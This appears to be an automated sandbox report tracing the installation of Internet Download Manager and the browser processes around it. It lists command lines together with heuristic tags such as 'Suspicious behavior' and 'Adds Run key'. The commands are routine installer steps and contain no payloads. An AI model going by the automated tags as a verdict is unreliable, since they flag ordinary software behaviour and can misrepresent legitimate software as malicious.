C:\Windows\system32\DrvInst.exeDrvInst.exe "8" "4" "C:\Windows\System32\DriverStore\FileRepository\idmwfp.inf_amd64_be5722ccff6c2371\idmwfp.inf" "0" "4fc2928b3" "0000000000000170" "WinSta0\Default"2⤵
- Drops file in Drivers directory
- Drops file in Windows directory
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "8" "4" "C:\Windows\System32\DriverStore\FileRepository\idmwfp.inf_amd64_be5722ccff6c2371\idmwfp.inf" "0" "4fc2928b3" "00000000000001F4" "WinSta0\Default"2⤵
- Drops file in Drivers directory
- Drops file in Windows directory
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "8" "4" "C:\Windows\System32\DriverStore\FileRepository\idmwfp.inf_amd64_be5722ccff6c2371\idmwfp.inf" "0" "4fc2928b3" "00000000000001F0" "WinSta0\Default"2⤵
- Drops file in Drivers directory
- Drops file in Windows directory
-
-
C:\Windows\system32\grpconv.exegrpconv -o1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ffd8fc9c728,0x7ffd8fc9c734,0x7ffd8fc9c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1992,i,5230391417578323062,4483830625929018849,524288 --field-trial-handle=2180,i,54583334497213587,1712867580638471846,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=2212 /prefetch:32⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1696,i,15935011981156323854,5148229445080087031,262144 --field-trial-handle=2180,i,54583334497213587,1712867580638471846,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=2176 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2320,i,11232972655752534666,1393387066015829968,524288 --field-trial-handle=2180,i,54583334497213587,1712867580638471846,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=2684 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3184,i,13450799738644523088,4784705645771719019,2097152 --field-trial-handle=2180,i,54583334497213587,1712867580638471846,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=3212 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3188,i,8375161216386414740,13659479576723383932,2097152 --field-trial-handle=2180,i,54583334497213587,1712867580638471846,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=3268 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3944,i,17827760681438094091,1796564360956346446,524288 --field-trial-handle=2180,i,54583334497213587,1712867580638471846,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=3896 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4608,i,8863344243229057809,1729222805365785840,2097152 --field-trial-handle=2180,i,54583334497213587,1712867580638471846,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=4580 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3932,i,3873082308566806189,16328299641830678812,524288 --field-trial-handle=2180,i,54583334497213587,1712867580638471846,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=4628 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4780,i,1841906214518926540,10709613588042617008,524288 --field-trial-handle=2180,i,54583334497213587,1712867580638471846,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=5016 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5372,i,523116584013856432,11145702899950823046,524288 --field-trial-handle=2180,i,54583334497213587,1712867580638471846,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=5368 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5532,i,14899006566329476687,6142619976905510322,2097152 --field-trial-handle=2180,i,54583334497213587,1712867580638471846,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=5596 /prefetch:22⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.ba52b58325a93d04 > \\.\pipe\chrome.nativeMessaging.out.ba52b58325a93d042⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=03⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.b6b73f371dfa7575 > \\.\pipe\chrome.nativeMessaging.out.b6b73f371dfa75752⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=03⤵
- Executes dropped EXE
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=6004,i,12431382826455351038,10690226330463839685,2097152 --field-trial-handle=2180,i,54583334497213587,1712867580638471846,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=6140 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Internet Download Manager\IDMan.exe"C:\Program Files (x86)\Internet Download Manager\IDMan.exe" -Embedding1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"2⤵
- Loads dropped DLL
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"3⤵
- Loads dropped DLL
-
-
-
C:\Program Files (x86)\Internet Download Manager\Uninstall.exe"C:\Program Files (x86)\Internet Download Manager\Uninstall.exe" -instdriv2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\RUNDLL32.EXE"C:\Windows\Sysnative\RUNDLL32.EXE" SETUPAPI.DLL,InstallHinfSection DefaultInstall 128 C:\Program Files (x86)\Internet Download Manager\idmwfp.inf3⤵
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Windows\system32\runonce.exe"C:\Windows\system32\runonce.exe" -r4⤵
- Checks processor information in registry
-
C:\Windows\System32\grpconv.exe"C:\Windows\System32\grpconv.exe" -o5⤵
-
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"4⤵
- Loads dropped DLL
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://secure.internetdownloadmanager.com/buy_idm.html?v=643b072⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2e8,0x314,0x7ffd8387c188,0x7ffd8387c194,0x7ffd8387c1a03⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1924,i,1677497691397842787,6157669484818839641,524288 --field-trial-handle=2540,i,14177106156596308327,11908025584143817497,262144 --variations-seed-version --mojo-platform-channel-handle=2776 /prefetch:33⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2456,i,13050476928247995374,17833283131037565613,524288 --field-trial-handle=2540,i,14177106156596308327,11908025584143817497,262144 --variations-seed-version --mojo-platform-channel-handle=2784 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1780,i,1389793736620567533,12887222998165857390,262144 --field-trial-handle=2540,i,14177106156596308327,11908025584143817497,262144 --variations-seed-version --mojo-platform-channel-handle=2492 /prefetch:23⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3416,i,11973640493607354109,9041047232630976177,2097152 --field-trial-handle=2540,i,14177106156596308327,11908025584143817497,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3420,i,8232856855114395913,14417335805342897793,2097152 --field-trial-handle=2540,i,14177106156596308327,11908025584143817497,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4484,i,13302993369184005002,10988994654874352912,524288 --field-trial-handle=2540,i,14177106156596308327,11908025584143817497,262144 --variations-seed-version --mojo-platform-channel-handle=4628 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1772,i,12967911814471007952,1549972248274159982,524288 --field-trial-handle=2540,i,14177106156596308327,11908025584143817497,262144 --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5252,i,783642331384069601,10174538221805957630,524288 --field-trial-handle=2540,i,14177106156596308327,11908025584143817497,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5084,i,6868295198159860756,6638824029059884893,2097152 --field-trial-handle=2540,i,14177106156596308327,11908025584143817497,262144 --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=4664,i,12532007716728094657,4616426313753522814,2097152 --field-trial-handle=2540,i,14177106156596308327,11908025584143817497,262144 --variations-seed-version --mojo-platform-channel-handle=4120 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x270,0x7ffd8387c188,0x7ffd8387c194,0x7ffd8387c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1836,i,13443752257864126022,1263411606058118374,524288 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:34⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1676,i,12592122319493816704,6140621855516214165,262144 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2600,i,8026465775984607108,7570861136206042148,524288 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=2760 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4376,i,8128081465502817146,10273409773978267883,524288 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4376,i,8128081465502817146,10273409773978267883,524288 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4868,i,18389576395460893828,15955347753749037596,2097152 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=4892 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=4876,i,11261956754304061612,15862340712575985460,2097152 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=4896 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5412,i,16000386378686793489,17337269505728142176,524288 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5416,i,8361986265782108382,13123781072557291677,524288 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5900,i,1194757367603406717,4937784741800617518,2097152 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=5896 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=6036,i,9465451198859384957,11555903665857735453,2097152 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=6020 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5868,i,10508265142061719262,17201599764387437065,2097152 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6324,i,15897945329722195452,17319752698816277196,524288 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=5884 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6536,i,2523535783521388494,13647747923194991529,2097152 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=6548 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6712,i,6737408081534924153,6735948046909948005,2097152 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=6756 /prefetch:14⤵
-
-
